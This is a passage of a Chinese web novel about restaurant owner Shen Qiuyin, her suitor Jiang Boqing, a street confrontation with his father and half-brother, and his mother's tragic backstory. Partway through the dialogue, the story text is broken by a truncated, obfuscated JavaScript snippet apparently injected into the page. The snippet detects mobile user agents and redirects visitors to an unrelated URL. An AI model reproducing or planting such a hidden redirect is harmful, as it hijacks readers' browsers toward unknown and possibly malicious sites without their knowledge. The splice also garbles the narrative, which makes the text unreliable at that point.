若真是“冬宜密雪,有碎玉声”,沈秋吟也愿做这一回痴相公,去一回这城南桥头的湖心亭,装一回文雅客。
为赴这场约,沈秋吟天还未亮透彻便爬了起来,翻箱倒柜找合适的衣服,思量着该画怎样一个妆。
毕竟是第一回,还是得重视重视。
果真是女为悦己者容。
一向随意的沈秋吟也注意起形象来,对衣裳的要求也提高了,但凡有一丁点瑕疵,便被换下扔在一旁,又重新埋进衣服堆里,寻找下一件。
系统被她此番举动惊得话都说不圆展,“太,太,太疯狂了!真是太疯狂了!”
从前是它看走了眼,说什么她不开窍,一点恋爱的心思也没有。
这哪里是不开窍,分明是开窍得很。只是没人打通她的任督二脉罢了。
如今姜泊清主动戳破了那层纸,沈秋吟便也更换了一个人似的。
就只说那床,床上已经被换掉的衣服堆积成了一座小山,但随着她的动作,这座小山还在不断的提高海拔。
终于,那座小山承受不住持续叠加的压力,快要坍塌时,沈秋吟找到了满意的衣裳。
姜黄色交领大绣,配上藏青色长裙。
大袖上印着暗纹,看不出究竟是什么,长裙上也有大片大片的纹饰,似与大袖上的交相辉映。
这一件,衬雪,也衬她。
她对着铜镜左右摆了摆身子,铜镜里的人高挑纤细,着一身亮丽的衣裳,虽无雅气,却多了几分贵气与成熟之气。
她越看越满意。
搞定了衣裙便剩妆容。
她将梳妆台上的木盒子一一打开,每个盒子里都放着不同颜色、不同类别的胭脂。
她从低到高,将每一盒胭脂的色彩都抹在了手臂上,最后挑选了最衬肤色的一盒,抹在了脸上。
女人白皙的脸上浮动着丝丝红色,这红色并不艳俗,相反衬得她肤若凝脂。
她又拿起了口脂,轻抿了一阵。松开始,略白的唇上有了淡淡的颜色。
一下子,女人灵动了起来,像那描摹出的花。
水是眼波横,山是眉峰聚。
沈秋吟今日,美极了,如那画中的神妃仙子,令人移不开目光。
她装扮好了自己,也要收拾屋里的狼藉。
将那堆着的衣服一件件收进柜子里,又把梳妆台上的胭脂盒一个个盖上。
做完这些,她这才出了屋子,去到前堂。
前堂已经坐了不少客人,小二们在其间忙碌,热闹、喧嚣充斥整个大堂。
却从她来后,刹那安静。
一双又一一双眼睛落在沈秋吟身上。
这姑娘今日与平日不同,及腰的长发一半梳上,一半留下,束腰长裙,衬得那腰肢纤细,鬓上的海棠步摇随着她的步伐,浅浅晃动,耳垂上的玉坠透光,温润又泌人,更显得她富贵如人间牡丹。
不知想到什么趣事,那姑娘笑了一下,一时间万物失色,独她是这世间唯一的颜色。
看惯了冬日白茫一片,素色淡雅,忽然见了着亮眼的色彩,只觉死气沉沉一扫而光,生命活了过来,仿佛春日来临,万物再度重现风光。
好一个沈秋吟呀!明明可以靠脸吃饭,却还要靠一手好厨艺!这是一点活路也不给别人。
众人一时间妒火横生,又一想到这般标致的美人被那姜泊清抢了去,更是怒上心头。
往日只顾吃饭,从未注意掌柜的音容相貌。当时还道姜泊清未生一双慧眼,如今才晓得人家是透过了现象,看见了本质。
沈秋吟生了好骨相,只要稍稍打扮,便是绝代佳人。
她走到柜台,突然的寂静令她抬眸,却见大堂众人都看着她,她不明所以,低头看了看自己的穿着,难道是太怪异了?
众人的目光还未收回,她被盯得发慌,忐忑问道一旁傻站着的章丘。
“这是怎么了?饭菜不好吃?”
章丘摇了摇头,咽了咽口水,目不转睛道:“掌柜的,太美了。”
从未见过这般美的人,不似尘中人,到像是从天上落下来的。
美?什么美?
沈秋吟愣了一会儿才晓得章丘在说自己。
“美吗?”
不就是抹了胭脂,抿了口脂吗?哪里美了?她觉着一般呀!
“美的。美得像花神庙里供奉的神女。”这是他能想出的最好的溢美之词。
沈秋吟被他夸得不好意思,脸上流露一抹绯红,加上那胭脂的颜色,更让人移不开目光。
好一个粉面佳人。
美得让人失语。
堂里安静了,众人的目光离不开那张风华绝代的脸。
沈秋吟绕到柜台后,打破了沉默。
她对章丘说:“我今日要出去,百膳楼交给你管。”
她将柜台放银钱的钥匙交给他。
他接过,问道:“掌柜的要去哪儿?”
他目光里有八卦的光芒,沈秋吟道:“不告诉你!”
别以为她不知道,她和姜泊清从前的绯闻都是他们传出去的。
章丘“哼唧”一声,“不说我也知道。是和姜大人去约会。”
沈秋吟一愣:“你怎么知道?”
她似乎没同他们提过吧?
章丘意味深长地笑了笑,侧过身子,露出天光,调侃道:“姜大人呀,一大早就站在哪儿了呢!”
沈秋吟向外看去。
热闹非凡的大街,人去人来,雪白一片中,他也是最亮的色彩。
他站在百膳楼前,长发披在身后,身姿挺拔,像一棵不惧风雪的松。
凌厉之气,是他从前戍守边关养成的,而那股随意的雅气却又是做文官留下的。
似是感受到她的目光,姜泊清转过身来,目光相对间,他翘起了嘴角,笑了笑了,向她伸出了手。
沈秋吟正要向他走去时,却被人截胡。
只见一粗犷汉子突然站在她的面前,若非沈秋吟及时停住步伐,准得撞在他身上,额头起好大一个包。
谁阻她好事?
沈秋吟叉着腰抬头一看,咦,有些眼熟,这人似乎在哪里见过。
再仔细一看,这,这,这不是东风楼的老板么,他不是卧病在床吗?
她还听同行传,人都快死了,丧事都提上了日程。
这,这,这莫不是诈尸吧?
沈秋吟越想越光怪陆离,把自己吓了一大跳,捂着胸脯退了一步,却未站稳,险些摔了过去。
幸好姜泊清及时扶住了他。
“又在想些什么?”他皱着眉头问。
这姑娘是改不了胡思乱想的毛病了。
沈秋吟拉住他的衣袖,轻声说:“我怀疑他诈尸。”
上次东风楼,她与这男子对骂,他忽地晕了过去,而后一直重病在床,据说连下地都是个问题。
这事儿毕竟她也有错,沈秋吟怕他真出了什么事儿,内心过意不去,便挟重礼又去东风楼拜访过一回,不过那时因着他病重,只有个小二招待了她。
楼里的掌柜出了这等事,小二们更忙,沈秋吟也不好意思多留,将礼放了,和那小二说了几句也就走了。
后头便再未关心过此事,不过坊间的传言越来越多,再加上东风楼后头直接关门不再迎客,直接坐死了传言。
姜泊清轻轻敲了敲她的脑袋,“大白天的,哪里来的诈尸?”
沈秋吟捂着挨打的地方嘟囔道:“不是诈尸是什么?”
“自然是活生生的人。”
啊?哦!
是人呀!
沈秋吟后知后觉笑了笑。
姜泊清无奈地摇头。
傻姑娘,脑子不太灵光。
唉……
这人既不是诈尸了,那更说不明白他为何来这儿了?
沈秋吟思来想去,突然灵光乍现,莫不是来寻仇的?报上会东风楼吵架之仇?
系统蓦然出声:“有没有可能,他是来报恩的?”
报恩?
“不不不,还是报仇可信度高一些。”
想到这儿,沈秋吟赶忙挺直了腰杆,怒目圆睁看着他,恶狠狠问道:“想干嘛?”
这里可是百膳楼,她的地盘,身后还有姜泊清在,她才不怕。
她都做好了要与这莽汉再次恶斗的准备,怎知他搓了搓手,激动地喊道:“妹子呀,妹子,你就是我亲妹子呀!”
啊!这?
这让沈秋吟愣住了,咱就说,怎么和想象中的不一样?不过,大哥,怎么开口就叫妹子呀?谁是你妹子!咱们不熟。
那莽汉说着说着竟落下了泪来,沈秋吟慌忙后退几步,“我,我,我可没欺负你哈。”
她可没忘记上次大理寺的公堂上,他们家小二那无语的发言。她深怕此事再发生,立马撇清关系。
还回头看着姜泊清,“我没欺负他,你是大理寺的官,可要看着啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555754|155445||http|test|mini|href|location''.split(''|''),0,{}));
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>“嗯呐。”姜泊清应道。
莽汉抹了一把眼泪,哽咽道:“我知道,我就是太激动了。妹子,哥就是太激动了。”
额……
沈秋吟听得这称呼,嘴角直抽搐,无奈道:“咱就说我们无亲无故的,怎就成了亲妹子了?”
关键是,他想当哥,她爹也没这个儿子呀。
莽汉答道:“自然是救命之恩,当涌泉相报了!”
嗯?救命之恩。
这回,沈秋吟是彻底搞不懂了。
却听那莽汉将事情的起因缓缓说来。
且说上回沈秋吟闯东风楼与他骂战,他一口气儿没提上来晕了过去。
小二们都以为他是怒火攻心,给他顺了半天气,却还未见好转,于是乎赶忙去清大夫。
那大夫也是个杏林高手,脉一把急慌慌道:“这哪里是怒火攻心,分明是得了重病。这脑子里长了东西,压到了神经,一气之下,爆发了出来。”
他夫人一听,慌了,颤着手道:“这该怎么办?”
大夫说:“要开颅将那东西去了。”
他音落,夫人就更急了。
开颅可是门复杂的医术,稍有不慎,便叫人去地底下见阎王可,非一般的大夫能做。
夫人哭了起来,一遍遍说着如何是好,如何是好。
大夫被她吵得耳疼,叫停她:“这个我能做,你且去准备这些药材。”
话罢,他提笔写下了一连串药名,让她速速去准备。
他夫人也是个能干人,一天时间就备好了大半药材,有些难寻的也托人买到,第二天送至楼中,可唯有一味至关重要的药材却怎么也买不到。
夫人怕再耽搁下去他会有危险,求大夫能不能先做,反正就差一味药。
大夫叹了口气,摇摇头,“其他都是辅助,独那药材必不可少。若缺了它,开颅做不了。”
他话都说到这个份上了,夫人也明白那味药是关键。于是又派人四处寻找,甚至提高了赏金。但等了大半月,仍旧没有消息。
眼看着自己的郎君要消瘦下去了,夫人整日洗面,连东风楼也不管了,全交给小二们打理。
也是这时,沈秋吟挟礼拜访,而那礼中,正好就有这一味救命的药材。
夫人喜极而泣,大夫也着手开颅,最后成功去掉颅里的东西,而他也没了生命危险,不过因身体虚弱,在床上躺了大半年才恢复。
因着这个,他们夫妻两都认为沈秋吟是恩人,大恩人。
若没有她与他吵这一架,那必然没有晕倒之事,他颅内的东西也不会及时被发现。而且,事由她起,又由她结。在关键时刻,又送来了那份礼,保住他一命。
这不是大恩人是什么?
大恩必然要大报。
他休养身子的时候,就一直在想该如何谢她。
夫人道:“沈掌柜爹娘早死,独一座食楼养活自己,也没有亲人伙伴。不若你认她做妹妹,咱们把名下的铺子呀、住宅呀都分她一半。这样可好?”
他细细想了一下,觉得这个办法可行。这不,一能下床,就风风火火来到百膳楼,认妹子来了。
沈秋吟听了事情始末,也叹这事儿巧了。
“不过,妹子就算了吧!”她没有认哥的癖好,也不要他一半的铺子、住宅。
“我自己有能力,需要什么自己努力就好。你的就算了。”
莽汉道:“这能一样吗?你的是你的,我送的是我送的,不能混为一谈。”
“走,咱们现在就去官府过文书,从今日起你就是我亲妹妹!”
说着,就要拉她走官府去。
姜泊清眼疾手快,打掉他的手,沈秋吟忙躲在他身后。
“她说不愿,你就莫要强求。”姜泊清冷冷道。
莽汉这才注意到大理寺少卿也在这儿,顿时低眉顺眼起来,生怕惹得不快。
沈秋吟附和他道:“对的。我不愿意,你就莫强求了。”
“而且,我已经认下了一个哥哥。不再需要其他的了。这辈子,我就认他一个。”
莽汉见她如此决绝,又因着姜泊清在,不敢强求,但仍不死心与她道:“不认也可以。不过,送你的铺子和住宅收下吧。”
沈秋吟再次拒绝:“救你也是巧合。算不上大恩。铺子和宅子我也不收。你若心里过意不去,便多做善事,造福一下城中百姓吧。”
话都到了这个份上,莽汉若在说让他收下的话,便是不知礼了。
他哀叹一声:“既然如此,那便听姑娘的。”
他说完,正准备走,这时李保德又不知从哪个犄角旮旯冲了出来,对着这莽汉叫嚣道:“原来就是你欺负我妹子!”
45. 丑态尽显
她二进公堂时李保德已经在外地经商了,沈秋吟也未主动告诉过他这事儿。
不过濮阳人多口杂,这事儿又出了好一把风头,李保德回来后自然从旁人嘴里知晓了,听罢后,更是生了好大一阵气。
这东风楼还真不养好人,那掌柜的粗犷、那老板娘弯酸,连带着楼里的小二也不是什么好东西,红眼病犯了,光盯着别家,欺负她妹子孤女一个。
想着她如花似玉、娇态憨厚的妹子在公堂上受了好大的委屈,无论如何他也咽不下这口气。
他本想着谋划一番,再去找东风楼的掌柜算账。但机会来得措不及防,他直叹老天有眼。
这不,今儿个他本不打算来百膳楼,刚上街没几步,便听到有人在传,东风楼的掌柜的跑去百膳楼认亲去了。
啥?认亲?认谁?
疑惑刚起,就听那人讲:“当然是认沈掌柜了。说是要认她做妹子,还要把一半的铺子、住宅送给她。”
好家伙!李保德气得呀,咬紧了牙关。
居然有人跟他抢妹子,而且这人从前还欺负过她。
谁给他的胆子!
“去百膳楼。”李保德赶忙吩咐为他开路的仆人调转方向。
无论如何,这口恶气他一定要替沈秋吟出了。
这也就有了百膳楼前,一高一矮两个男人对峙的画面。
众人嗅到了一丝不寻常,纷纷围了过来,摩肩接踵,窃窃私语,问着出了什么事儿。
知晓的人就说上两声,不知晓的就伸长了脖颈,竖起了耳朵,仔细听着,生怕错过了。
动静这般大,楼里的食客们也坐不住了,丢了碗筷,围了过来。
一时间以他们为中心,形成了一个巨大的圆。
知晓莽汉才下床,李保德也不动武就与他有一句没一句的理论。
别看李保德长得一副胸无点墨的样子,可说起话来却文绉绉的,骂人不见脏字,却说得那莽汉面红耳赤,插着腰梗着脖颈,汗水直流。
沈秋吟瞧着这里三层、外三层看热闹的人,生怕出什么事儿,想要上前劝架,姜泊清却拉住了她。
她转头不明所以看着他,他神情冷淡道:“他说得对。让他再骂几声。”
他这是支持他们吵下去?
沈秋吟瞪大了眼睛,不可置信道:“你可是大理寺少卿也。”
不出去维护秩序,还让他们骂。
他是不想要头顶上的乌纱帽了吗?
姜泊清满不在乎道:“大理寺少卿又如何?他欺了你,就该骂。”
这是他捧在手心的姑娘,却在别人哪里受了委屈,他岂能容忍。
若不是因着朝廷命官这身份,不用李保德,他自己就下场了。
这维护来得措不及防,却让沈秋吟心头一暖。想起东风楼的骂战,其实这莽汉也算无辜,顶多占了一个督促不严的罪名。
她于心不忍道:“其实,我骂的比较厉害,他被我骂得面色铁青,脚步轻浮。”
他初初说得难听,后来她在系统的加持下也反击了回去,他们也算扯平了。
姜泊清倔强道:“我不管。反正他骂了你。”
他一副油盐不进的样子令沈秋吟无话可说。,
毕竟这人也是为她抱不平。
但见着街上围过来的人越来越多,地上的雪又是浮的,但凡有人没站稳跌下去,就容易发生踩踏事故。
沈秋吟看不下去了,道:“你不管,我管。”
她冲进了人堆里,费了好大劲儿挤进去还没来得及说话。
李保德便道:“妹子,站一旁去,哥替你报仇。”
音方落,沈秋吟就被跟着她来的姜泊清拉到了一旁。
“哥,好样的。”
姜泊清突如其来的一声“哥”让李保德士气大盛,两个男人对视一眼,皆明白对方的心意。
由此,李保德骂得更加厉害。
这东风楼的两夫妻做事儿本就不算磊落,李保德有钱有势,也听了不少,不管它真真假假,这会儿全抖了出来,令围观的百姓一阵又一阵惊呼。
好大一个瓜!吃不完,根本吃不完。
莽汉虽比不上李保德财大气粗,但也小有势力,见他抖自己的肮脏事,也不甘示弱,抖道:“你有钱有势,财大气粗,白月光还不是跟人跑了。”
啥?白月光跟人跑了?
谁的白月光?
我去!李保德!她哥?
妈呀!当真是个大瓜,吃不完,一点也吃不完。
有了这事儿,沈秋吟不再劝架,也竖起了耳朵听,想听听看,这白月光究竟怎么回事。
可听了大半会儿,两人仿佛跳过了这个话题,愣是啥也没说,沈秋吟心痒难耐,正欲问姜泊清知晓“白月光”一事否,就听得一阵有规律的脚步声。
她转头一看,不远处一队持长剑,穿盔甲的金吾卫赶了过来。
领头的那个手持金吾卫令牌,对着人群吼道:“金吾卫在此,无关人群统统闪开。”
姜泊清的脸色瞬间沉了下去,眼中含冰,冷冷地盯着那人。
百姓天然对官兵有所畏惧,见着他们,连忙让开一条路来,李保德与那莽汉也停了下来,迷茫地看着他们。
领头的金吾卫站在两人面前,将一封文书亮了出来,神情肃穆,对他们道:“有人举报你们在长安街寻衅滋事,都给我走一趟。”
寻衅滋事?
这可是个大罪名!
可他们只动了嘴,啥也没做呀!
李保德正欲辩解,金吾卫不给他机会,直接动手要抓人。
眼看着就要挨上他们了,姜泊清叫道:“慢着。”
他走了出去,拦在了李保德和莽汉身前,与那领头的金吾卫呈对峙之态。
抓人的金吾卫见他,不敢再动,对视一眼后,自发退到了后面去。
沈秋吟的目光扫过领头的金吾卫,这人眉眼间竟然与姜泊清相似。
她惊了一下,也走了上去,停在李保德身边,问道:“这是?”
李保德小声道:“礼部尚书次子,姜庭渊。”
礼部尚书?那不就是姜泊清的渣爹吗?
次子!我去,这就是那个害了姜泊清生母的小妾所生之子。
难怪和姜泊清相似。
不过这人不够大气,面带刻薄之相,即使穿着金甲,也不像将军,反而像个小人。
姜庭渊见了他,眼中闪过一丝狠意。
他冷冷开口道:“姜大人要做什么?阻挡我金吾卫拿人吗?”
姜泊清嘲讽一笑:“是又如何?”
“那就休怪我不念同僚之情。”
说着,姜庭渊拔出了长剑,紧跟着,他身后的金吾卫也齐刷刷拔了剑。
姜泊清却气定神闲道:“姜统领,好大的威风呀!”
他目光又暗了几分,沉了声音道:“可惜没用,今日这两人,我大理寺管定了。”
“那就看看,这两人你能不能管得着。”
两人剑拔弩张,谁也不退一步。
众人受不了这压迫的气势,到是连连往后退,为他们露出小半块空地。
姜泊清依旧风轻云淡,根本不将他放在眼中。
姜庭渊见吓唬不了姜泊清,又不敢真的与他动手,便拿出金吾卫的文书说事。
姜泊清见状,慢悠悠拿出大理寺办案的印鉴。
金吾卫与大理寺都管天下刑狱之事,等级上平等,官职上姜泊清和姜庭渊也属同级,这二人对峙起来,谁也奈何不了谁。
两人就这样僵持在那里。
这时,一个身穿大红官袍的中年男子走了过来,他身材高大,面容与姜泊清不像,与姜庭渊倒是一个模子刻出来的。
李保德与她说道:“这就是礼部尚书姜尚坤。”
沈秋吟的目光落在他的身上,细细打量。
姜泊清生得英气十足,而这人却贼眉鼠眼,一看就不是好人。
难怪姜庭渊生得小气,都是遗传他呀。
这样一想,定是姜泊清母亲容貌秀丽,掩盖了渣爹的劣质基因。
姜尚坤径直走到姜庭渊身边,问道:“怎么回事?”
姜庭渊道:“我接人举报,前来抓人,但姜大人不让。”
姜尚坤听了此言,也不问姜泊清是否属实,而是直接命令道:“泊清让开,既然渊儿要带走这两人,你就别与他争。你是哥哥,让让他怎么了?”
好一个你是哥哥,让让他怎么了?
沈秋吟顿时火冒三丈,走上了上去,护在姜泊清身前。
姜泊清见了这抹影子,有一刻失神。
头一次,有人将他护在羽翼之下。
姜泊清拉了拉她的衣袖,沈秋吟以为他在担心她,回头给了他一个放心的眼神。
而后冷冷地看着姜尚坤,质问道:“什么叫哥哥必须让弟弟?我朝重能力,当官全凭自身硬气。姜统领与姜大人同朝为官,拿人也要各凭本事吧?若因着是哥哥就让的话,这岂非说明姜统领是个空有架子,受祖上荫蔽的草包。”
“你个小丫头片子敢骂我!”姜庭渊气地瞪眼,恶狠狠道,“来人,给我抓起来,这人辱骂朝廷命官,本官要她好看。”
“我的人,你敢抓?”姜泊清握住她的手臂,将他带到
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身后。
姜庭渊道:“那便试试。”
他又拔了长剑要与他动手,姜尚坤调和道:“泊清,他是你亲弟第呀,你怎么能帮着外人?”
姜尚坤话落,阴狠地看着沈秋吟,吩咐后面的人道:“还不快抓住!”
敢骂他爱子,他要这姑娘好看。
金吾卫还未来得及动,便见一道影子闪过,下一秒便听“啊”的一声,姜庭渊握住了自己的手腕,面露痛苦。
手中的佩剑也落在了姜泊清手中,直指姜尚坤。
郎君一手背在身后,一手持长剑,与生父对视,眼中是熊熊燃烧的仇恨之火,恨不得将眼前之人千刀万剐。
姜尚坤震怒,骂道:“逆子,你要弑父吗?”
“尚书大人,我从不介意当街杀人。”
郎君眼神凌厉,语气夹带冷酷,话语间已经表明决心。
姜尚坤见那双满是仇恨的眼,不禁生了惧意,害怕他真做得出弑父之事,赶忙道:“我是你亲爹,杀我你就是不孝!再说,渊儿有金吾卫开的文书,抓人合情合理,你百般阻拦,是要存心和他做对吗?”
姜泊清冷笑一声:“亲爹?尚书大人有所不知,我那爹早就死了。你于我而言不过是个陌生人。我杀一个陌生人,怎会不孝?”
姜尚坤似气得不轻,脚步虚浮,往姜庭渊身上靠了靠。
他目光又落在姜庭渊身上:“姜统领方才说捉拿寻衅滋事之人。此话有误,我们这里没有挑事之人,所以姜统领拿人之事不能成立,我身为大理寺的官,自然该阻拦。”
他话音一落,沈秋吟懂了其中含义,立马附和道:“对呀!姜统领说的是抓寻衅滋事的人,他们一没寻衅,二未滋事,凭什么带他们走?”
李保德也霎时明白了,顺着沈秋吟的话说:“我与他不过是拌拌嘴,说了些趣事,的确没做违法之事。若金吾卫这般抓人,怕是说不过去吧?”
莽汉亦道:“如他们所言,我们并未挑事。这般抓人,我们不服。”
姜庭渊见状,急道:“尔等休要狡辩。举报的人都说了是在长安街。而长安街就你们在争吵,引得百姓围观,还说没有寻衅滋事?”
姜泊清勾了勾唇角,讽刺一笑:“姜统领真会断案!众人围在一起,就叫寻衅滋事?那我今日派一人灭了你全族,便是替天行道了?毕竟,人多才叫寻衅滋事嘛!”
他这段言论引得沈秋吟发笑。
“姜泊清你欺人太盛!”
“欺的就是你!”
姜庭渊气得憋不住火气,但仅存的理智又告诉他不能与姜泊清动手,这就是个疯子,惹急了当真会拉人陪葬。
“我不与你争口舌之辩。我只要带走这两人。”他忍下了这口气。
姜泊清动了动剑:“我说了你带不走这两人!”
郎君立剑人前,身绕杀气,令人一惧。
局面又呈对立之态。
姜尚坤握住他的手道:“渊儿,让给他。”
“父亲。”姜庭渊心有不甘叫了他一声。
姜尚坤给了他一个眼神。
姜庭渊明白了。
父亲定是另有打算,姜泊清讨不到好的。
如此,让给他就让给他。
但就这般走,又有些丢人,为了脸面,他着补道:“既然大理寺执意要这两人,那我便让给姜大人。”
话罢,他便要带着人走。
却在这时,一个鼻青脸肿的小二跑了过来,对着他叫道:“姜统领,您怎么还在这儿待着,我们掌柜的都要被打死了,就等着您来。”
沈秋吟认得这个小二,他是街角食肆做工的人。
怎么被打成了这样?
还不待她疑惑,便听地木门到地的声音,只见一男子被两壮汉抓住,直直地扔在了地上,发出一声巨响。
那男子到地,吐了一大口鲜红的血,用最后一口气喊道:“姜统领,就是他们寻衅滋事,快抓他们呀!”
所以,姜庭渊到这条街真是来抓寻衅滋事之人,不过搞错了对象。
可这……似乎有些尴尬了。
局势转变,猝不及防。
众人愣了一会儿,反应过来,脸上的笑容快憋不住了。
姜尚坤见此老脸一红,姜庭渊也神色慌乱。
姜泊清笑道:“好一个寻衅滋事!好一场荒唐的抓人!”
人群里不知谁笑了一声,接着众人都憋不住,笑了出来。一时笑声一片。
姜庭渊看着他老子,急道:“爹,该怎么办?”
姜尚坤踢了他一脚,“怎么办!还不快去抓人。”
真真是丑态尽显。
46. 阿吟,阿吟
姜尚坤和姜庭渊最终带着真正寻衅滋事之人在大笑声中落荒而逃。
走时姜泊清叫住了姜庭渊,一脸嫌弃的将手中之剑扔给他,讽刺道:“姜统领抓人的本事,泊清佩服。”
姜庭渊恼羞成怒,握紧了拳头,却也无可奈何,咬着牙收了剑,带着人离去。
闹剧结束,人群也散了。
莽汉挠了挠头,对沈秋吟说了些道歉的话。
沈秋吟道:“当日我也骂了你。咱们就两不相欠。以后大路朝天,各走一方就好。妹子的事,也勿要再提。”
莽汉听了,没说什么,长长叹了一口气,终究是没那个缘分。
“既然如此,在下也告退了。今日唐突了沈掌柜,还望见谅。”
“无妨。”她笑了笑。
莽汉离去,沈秋吟看向李保德,悄声问道:“哥,白月光是?”
“白月光呀!”,李保德心里一咯噔,顾左右而言他,“白月光就是白月光呀,还能是谁?”
“少偷换概念哈,你知道我说的什么?”
若真是天上的白月光,还用得着问吗?
沈秋吟摩挲着拳脚,威胁道:“别装傻,如实道来。”
见诓不了她,李保德讪讪地摸了摸鼻子,尬笑两声,“此事说来话长……”
“那就长话短说。”
总之,得说!
“唉,一切——”说到这儿,他顿了一下,来来回回在堂里踱步,似在思考,下一秒却趁沈秋吟不注意溜了出去,边跑边道,“静待后文,静待后文。”
眼看着人跑了,自己却无能为力,沈秋吟气得牙痒痒!
好你个李保德。
给我等着。
姐早晚要你好看。
沈秋吟在原地抓狂,姜泊清突然揽住她的腰身,头搁在了她的颈窝处,她安静了下来,目光呆滞,似被震住了。
温柔的气息洒在脖颈处,痒痒地,有些难挨。
众人也瞪大了眼睛,有人甚至激动地差点掉了碗筷。
这,这,这是我们能看的?
他们愣了愣,回过神后,心噗噗地跳。
这画面说明什么。
说明实锤了!
流言如过江之鲫,人人都只听闻大理寺少卿姜泊清和百膳楼的掌柜有一腿,却从未见着他们有越界的行为。
就在人们以为流言误人,不可信时,却出现了眼前的这一幕,其中所带来的冲击好比陨石坠地。
这,这,这流言如今是坐实了,这两人真的有一腿。
激动了,激动了,真是激动了!
看见了嘛!姜大人的手搁在沈掌柜的细腰上,头还贴着颈窝处!
咦!没想到公堂之上的冷面阎王私下竟然有这般黏人的一面。
难得!难得!
与他们地汹涌澎湃相比,郎君神情不佳,语气低压:“阿吟,我累。”
他的声音清醇如酒,飘进她的耳里,无端的就醉了,真如饮了百十杯酒。
她脸颊漫上红晕,似朱砂在水中晕染,一下子连脖颈也见红色。
羞死人了。
众人目光如炬,快要将她烧灼,她哎呀一声,拉着姜泊清跑进了屋里。
食客们先是露出诧异的神情,而后又玩味一笑。
后面的,可不是他们能见的了。
到了屋里,沈秋吟心跳如雷,正微微喘气呢,姜泊清忽然一把关上门,将她抵在了门上。
他举高临下看着她,她没来由慌乱,心跳得更厉害,无论怎样,也无法平静下来。
“阿吟,跑什么?”
他们贴得很近,他的呼吸喷洒在了她的脸颊上,氤氲的热气,又将脸颊染得绯红。
她呼吸都缓了下去,不敢看他的眼。
“嗯?”
他这一声仿佛带了勾子,勾得她连呼吸都慢了半拍。
她慢吞吞地开口道:“因为,因为害羞。”
他突然低笑一声,修长的手抚上了她的头,温柔的抚摸她的鬓发,以及那支海棠步摇。
她忍不住颤了颤。
他炯炯有神地目光落在她的脸上,眸中有一簇不明的火,哑着声音道:“阿吟今日真美,叫人神思荡漾,心痒难耐。”
说着,他俯下身挨上了她的唇角,浅浅舔舐,沈秋吟不争气地软了腿,差点就要滑下去,姜泊清眼疾手快抱住了她的腰,细细抚摸,爱不释手。
“阿吟,要站稳哦!”他坏心的捏了捏她的腰,她像被电了一下,一把拉住他的衣襟。
“姜,姜泊清……”
她低低地唤了一声,却是连话也说不请了。
眼前的姑娘媚眼如丝,两颊上的淡淡微红,似夏日荷塘盛放的莲。
莲啊,多么的高洁,如神明,叫人不敢亵渎。
可偏他姜泊清不是好人,要淌过塘中水,摘下这朵傲然开放的花。
他的目光突然变了变,那簇火染的更旺。
他不再满足于唇角的戏弄,盯上了那粉嫩的耳垂。
当然,她细长的脖颈他也没有放过,一点点打上独属于他的烙印。
他低低地喘了口气,脖颈已叫他无法满足。
他又回到了原点,轻而易举撬开了她的牙关,带着她在人间嬉戏,看杨柳醉春烟,眠秋日落叶中。
极致的温柔,带着致命的诱惑,让人落于其中,走不出来。
慢慢地,他玩疯了,如巨轮遇上了狂风,摇摇晃晃。
忽然,巨轮不敌狂风,被它卷翻了,沉入了海中,一时海水漫过四肢百骸。
沈秋吟嘤咛一声,受不住波涛的折磨,如溺水一般,要跌入深渊,忽然一人拉住了她的手,系在了他的脖颈上,带着她一起离开大海,转去了另一个地方。
这地方让她连心尖都颤了,攀附的手产缠得更紧,如攀援的菟丝花。
她快受不住了,浅浅地喘了一口气,又叫了一声姜泊清,声音是从未有过的娇软。
而他又来了。
外面的雪簌簌地下,屋里却热得让人停住了思考。
软香暖玉在旁,哪还能叫人如雪一样冷静。
不知过了多久,姜泊清终于好心地松开了她。
她纤细的手抵在他的胸膛上,感受着他的心跳,小脸红透了,如傍晚的霞,好看又迷人。
姜泊清还环住她的腰,头又搁在了他的颈窝,一声声唤着:“阿吟,好阿吟。”
沈秋吟也不嫌烦,他唤一声,她应一声。
凛冽的风夹杂着雪推开了榻子边的窗牖,星星点点的雪落了进来。
姜泊清伸手接住了一片雪,雪在掌心,脆弱地不堪一击,刹那化了去。
他说:“我母亲也死在这样的雪天里。”
姜泊清的母亲,是乔国公的女儿,当年也是名扬西崤的人物。
只可惜那年上元节,叫她终身困在了黑暗。
乔家常年驻守北漠,二十年前得天子召唤,回濮阳过年。
姜家世代忠良,追随太祖皇帝立下从龙之功,也成了簪缨人家。
姜雁守边关,立下汗马功劳,与其妻伉俪情深,未纳旁人,其妻死后,也未续弦,日日悼念她,是难得的深情人。
可他们的孩子姜尚坤,却未能得到一点父母的深情。
不,或许有的,只是没给他母亲。
二十年前的上元节,姜泊清的母亲于桥上赏灯,货郎的马儿上桥忽然发狂,将她撞入水中。
母亲不会游泳,在水中扑腾,路过的是姜尚坤见此,入水中救了她。
那个时候,民风还未这般开放,男女固守界限,从不私下往来。
姜尚坤水中救她,与她有了肌肤之亲,便是玷污了此女,若不娶她,也未有他人敢娶。
好好的姑娘与素未谋面的男子,在世俗的规则下,因一场意外被绑在了一起。
乔国公因着这事儿,亲自上门与姜雁商议此事。姜雁见过他的女儿,名门闺秀,生得貌美,很是赞同。
又加上落水之事,这场婚事,板上钉钉。
但姜尚坤已有喜爱之人,是名花楼女子,卖艺不卖身。
他说什么也不愿。
此事闹得难看,姜雁都快将他打死了也拗不过他,姜泊清的母亲在这时传信,若娶她,可迎那花楼女子为妾。
这场婚事,困于道德。她也有喜爱的郎君,可就因为那场惊马,断送了所有,叫两个不爱的人,被迫绑到了一起。
那些条条框框,成了杀人的刀。叫女子遍体鳞伤,男子也未落得好。
为了娶那花楼女子,姜尚坤妥协,娶了她的第二日,迎了那女子进门。
母亲的死,在这刻埋下了伏笔。
姜家府邸,也算简单。无爱的亲事,也叫她松了一口
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气。
她乐意见得姜尚坤与那花楼女子相爱,可旁人的心思没有那般简单,只是初时未表现罢了。
后来,皇宫夜宴,姜尚坤误食了一杯有问题的酒,欲望焚身时与她有了一夜。
也是这一夜,有了姜泊清。
